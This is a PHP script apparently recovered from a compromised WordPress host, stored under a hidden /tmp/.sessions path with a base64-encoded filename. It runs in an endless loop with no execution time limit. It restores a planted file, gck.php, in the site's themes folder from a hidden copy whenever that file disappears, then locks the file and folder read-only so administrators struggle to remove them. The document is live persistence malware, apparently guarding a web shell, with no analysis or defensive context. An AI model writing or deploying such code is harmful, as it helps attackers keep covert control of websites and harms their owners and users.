File: //tmp/.sessions/.L29wdC93cHNpdGVzL2RhdGFpbnNpZ2h0bm93LmNvbS93cC1jb250ZW50L3RoZW1lc2djay1oYW5kbGVy
<?php
@ini_set("max_execution_time", 0);
while (True){
if (!file_exists("/opt/wpsites/datainsightnow.com/wp-content/themes")){
mkdir("/opt/wpsites/datainsightnow.com/wp-content/themes");
}
if (!file_exists("/opt/wpsites/datainsightnow.com/wp-content/themes/gck.php")){
$text = base64_encode(file_get_contents("/tmp/.sessions/.L29wdC93cHNpdGVzL2RhdGFpbnNpZ2h0bm93LmNvbS93cC1jb250ZW50L3RoZW1lc2djay10ZXh0"));
file_put_contents("/opt/wpsites/datainsightnow.com/wp-content/themes/gck.php", base64_decode($text));
}
if (gecko_perm("/opt/wpsites/datainsightnow.com/wp-content/themes/gck.php") != 0444){
chmod("/opt/wpsites/datainsightnow.com/wp-content/themes/gck.php", 0444);
}
if (gecko_perm("/opt/wpsites/datainsightnow.com/wp-content/themes") != 0555){
chmod("/opt/wpsites/datainsightnow.com/wp-content/themes", 0555);
}
}
function gecko_perm($flename){
return substr(sprintf("%o", fileperms($flename)), -4);
}